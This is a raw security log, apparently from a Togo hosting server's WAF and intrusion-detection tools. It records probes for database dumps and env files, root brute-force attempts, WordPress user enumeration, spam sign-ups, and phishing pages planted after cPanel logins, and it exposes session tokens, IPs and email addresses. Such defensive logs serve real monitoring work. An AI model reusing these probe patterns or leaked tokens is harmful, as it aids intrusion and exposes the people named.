138.36.94.143 - - [09/Jun/2026:00:26:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6516380&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2087&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780964809 HTTP/1.1" 404 561 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:138.36.94.143


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.118.35.91
country_id: 798544
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/source.sql||User:antasadmin||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.184.182.6
country_id: 2017370
description:
[2026-06-09 00:31:39 +0000] info [whostmgrd] 109.184.182.6 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.93.131
country_id: 1512440
description:
2026-06-09 00:31:22 H=([213.230.93.131]) [213.230.93.131]:32094 F=<John@4452.com> rejected RCPT <tps@tps.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [09/Jun/2026:00:36:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6910057&pdata=http%253A%252F%252Falerte.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780965407 HTTP/1.1" 302 0 alerte.tg "http://alerte.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [09/Jun/2026:00:36:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6984294&pdata=http%253A%252F%252Falerte.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780965417 HTTP/1.1" 302 0 alerte.tg "http://alerte.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [09/Jun/2026:00:37:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10144110&pdata=http%253A%252F%252Falerte.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780965423 HTTP/1.1" 302 0 alerte.tg "http://alerte.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [09/Jun/2026:00:38:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10395244&pdata=http%253A%252F%252Falerte.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780965477 HTTP/1.1" 302 0 alerte.tg "http://alerte.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [09/Jun/2026:00:37:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10197915&pdata=http%253A%252F%252Falerte.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780965463 HTTP/1.1" 302 0 alerte.tg "http://alerte.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 205.169.39.57
country_id: 6252001
description:
205.169.39.57 - - [09/Jun/2026:00:37:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6984294%26pdata=http://alerte.tg%26id=7fa3b767c460b54a2be4d49030b349c7%26ts=1780965417 HTTP/1.1" 404 561 alerte.tg "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.57


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [09/Jun/2026:00:37:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9739369&pdata=http%253A%252F%252Falerte.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780965455 HTTP/1.1" 302 0 alerte.tg "http://alerte.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Accept Your Virtual Portfolio Prize vamvozmviigr.blogspot.nl Bc||Email:imanuellorel@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:00-37.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [09/Jun/2026:00:38:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7194266&pdata=http%253A%252F%252Falerte.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780965490 HTTP/1.1" 302 0 alerte.tg "http://alerte.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.171
country_id: 1880251
description:
47.128.96.171 - - [09/Jun/2026:00:39:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12740457&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fja-delmas%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780965573 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ja-delmas/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.171


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 185.89.111.85
country_id: 6252001
domain: mesyscom.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/wp-json/wp/v2/users?page=1&per_page=100||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.118.35.91
country_id: 798544
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/mongodump.sql||User:antasadmin||


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 152.39.235.26
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:sante-le-ministre-tessi-veut-un-systeme-sanitaire-plus-humain/||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.118.35.91
country_id: 798544
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/assets.sql||User:antasadmin||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 95.164.195.169
country_id: 6252001
description:
95.164.195.169 - - [09/Jun/2026:00:43:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6710638&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2087&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780965802 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:95.164.195.169


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.118.35.91
country_id: 798544
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/img.sql||User:antasadmin||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.164.195.169
country_id: 6252001
description:
[2026-06-09 00:43:25 +0000] info [whostmgrd] 95.164.195.169 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 59.39.220.237
country_id: 1814991
description:
2026-06-09 00:44:14 H=([0.0.0.0]) [59.39.220.237]:21637 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.118.35.91
country_id: 798544
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/develop.sql||User:antasadmin||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.77.216.189
country_id: 6252001
description:
47.77.216.189 - - [09/Jun/2026:00:44:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6867568&pdata=https%253A%252F%252Fwww.crrhuemoa.org&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780965868 HTTP/2.0" 302 0 www.crrhuemoa.org "https://www.crrhuemoa.org/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"47.77.216.189" CAPTCHA:"0" PEER:104.22.17.58


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.108.102
country_id: 3865483
description:
Jun  9 00:44:59 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.108.102 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.108.102
country_id: 3865483
description:
Jun  9 00:45:15 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.108.102 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.118.35.91
country_id: 798544
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/pre-prod.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.118.35.91
country_id: 798544
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/uat.sql||User:antasadmin||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.177
country_id: 2635167
description:
[2026-06-09 00:52:01 +0000] info [cpaneld] 5.230.133.177 NEW frtwilql:GHC3ElHjJDkgrHM_ address=5.230.133.177,app=cpaneld,creator=frtwilql,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.62.195
country_id: 6252001
domain: scafricaplc.com
description:
IM360 WAF: Possible phishing page detected||SC:/home/zauwogvk/public_html/.156563025466141.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.179
country_id: 2635167
description:
[2026-06-09 00:51:43 +0000] info [cpaneld] 5.230.133.179 NEW cinemafreenetmas:KloVTyZxtYydqAYY address=5.230.133.179,app=cpaneld,creator=cinemafreenetmas,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.59.166
country_id: 6252001
domain: cinema.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/cinemafreenetmas/public_html/.064391717796132.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.174
country_id: 3017382
description:
[2026-06-09 00:52:01 +0000] info [cpaneld] 5.231.255.174 NEW zauwogvk:GgiiW0TIWOoH4vb4 address=5.231.255.174,app=cpaneld,creator=zauwogvk,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.54.80.198
country_id: 1512440
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.54.80.198
country_id: 1512440
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.74.6.64
country_id: 1512440
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:HEAD http:/togodailynews.tg/wp-content/uploads/2026/06/4a565e07af339396856f66687cdff581_L-300x200.webp HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 107.174.108.133
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-58.107.174.108.133||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 107.172.170.144
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-58.107.172.170.144||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 192.210.176.203
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-58.192.210.176.203||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 192.210.176.2
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-58.192.210.176.2||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.102.252.132
country_id: 3469034
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/ecobank-senegal-finance-un-centre-dimagerie-medicale-a-colobane/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.102.252.132
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/ecobank-senegal-finance-un-centre-dimagerie-medicale-a-colobane/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.195.73.6
country_id: 3996063
description:
[2026-06-09 00:59:12 +0000] info [whostmgrd] 189.195.73.6 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.205.11.22
country_id: 6252001
domain: archives.devbase.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.0.0 Safari/537.36||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Claim Your Debut Bonus sepoladi.blogspot.ie yI||Email:wakimasmith@yahoo.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:01-02.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.237.81.65
country_id: 3469034
description:
Jun  9 01:05:54 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.237.81.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.109.168.175
country_id: 3469034
description:
Jun  9 01:05:32 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.109.168.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.42
country_id: 1269750
description:
Jun  9 01:11:31 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.42 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.63.93.75
country_id: 290291
description:
[2026-06-09 01:13:13 +0000] info [whostmgrd] 109.63.93.75 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 46.250.168.239
country_id: 3996063
description:
46.250.168.239 - - [09/Jun/2026:01:15:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6776929&pdata=http%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D9360&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780967703 HTTP/1.1" 302 0 mediatopnews.tg "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/26.4 Mobile/19E241 Safari/602.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:46.250.168.239


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.158.200.111
country_id: 3437598
domain: www.corpsdiplomaticnews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.corpsdiplomaticnews.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.106
country_id: 1880251
description:
47.128.122.106 - - [09/Jun/2026:01:17:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738390&pdata=https%253A%252F%252Ftogodailynews.tg%252Fbientot-des-maisons-de-retraite-pour-les-personnes-agees%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780967857 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/bientot-des-maisons-de-retraite-pour-les-personnes-agees/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.106


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.228.192.201
country_id: 6252001
description:
185.228.192.201 - - [09/Jun/2026:01:22:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13145749&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2087&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780968177 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.228.192.201


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.228.192.201
country_id: 6252001
description:
[2026-06-09 01:23:01 +0000] info [whostmgrd] 185.228.192.201 - stephaneogou@gmail.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.155.20.69
country_id: 1819730
description:
43.155.20.69 - - [09/Jun/2026:01:25:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13133718&pdata=https%253A%252F%252F24heureinfo.tg%252Fdeveloppement%252Ftogo-oti-2-sapproprie-les-objectifs-de-developpement-durable%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780968314 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/developpement/togo-oti-2-sapproprie-les-objectifs-de-developpement-durable/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.155.20.69


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 123.23.84.19
country_id: 1562822
description:
[2026-06-09 01:25:52 +0000] info [whostmgrd] 123.23.84.19 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:01-26.146.19.125.71||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Enjoy Your Polished Cash Gift eropolik.blogspot.dk C0||Email:clindsey1965@icloud.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 192.3.24.135
country_id: 6252001
domain: launetogo.tg
description:
IM360 WAF: Request body parsing error||err_msg:Multipart parsing error: Multipart: Invalid Content-Disposition header (-14): form-data; name=\"result[_msg]\\\\\";filename=\";name=\"result[_msg]\".||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-09 01:27:30 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:44750: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 155.94.176.160
country_id: 1819730
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:27eme-session-du-comite-executif-de-cglua-yawa-kouigan-y-prend-part/||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 35.206.88.71
country_id: 6252001
domain: ucao-uut.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/100.0.4896.127 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-09 01:39:08 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:37012: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.242.27.4
country_id: 3608932
description:
[2026-06-09 01:39:35 +0000] info [whostmgrd] 190.242.27.4 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.61.130.187
country_id: 6252001
description:
[2026-06-09 01:39:50 +0000] info [cpaneld] 45.61.130.187 - web_tv "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user web_tv (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-09 01:39:14 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:46796: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 35.229.156.109
country_id: 1668284
domain: www.marketplace.netmaster.tg.154-70-82-246.cpanel.site
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/env.old||User:marketplacenetma||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.129.64.154
country_id: 6252001
description:
Jun  9 01:45:34 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.129.64.154 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.129.64.154
country_id: 6252001
description:
2026-06-09 01:45:36 dovecot_plain authenticator failed for H=(c10lnwdegycae1j1hvqpgb3x) [23.129.64.154]:54867: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 150.109.16.196
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:amelioration-du-systeme-de-sante-fatoumata-binta-diallo-felicite-faure-gnassingbe/||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.161.142.151
country_id: 3996063
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/actualite/detail/prix-jean-julien-codjovi HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.78.237
country_id: 690791
description:
Jun  9 01:48:38 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.78.237 has been locked due to Imunify RBL


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Gather Your Unknown Funds bonotdamvam.blogspot.gr lZ||Email:senthilkumarb6666@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:01-51.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 138.36.93.28
country_id: 6252001
description:
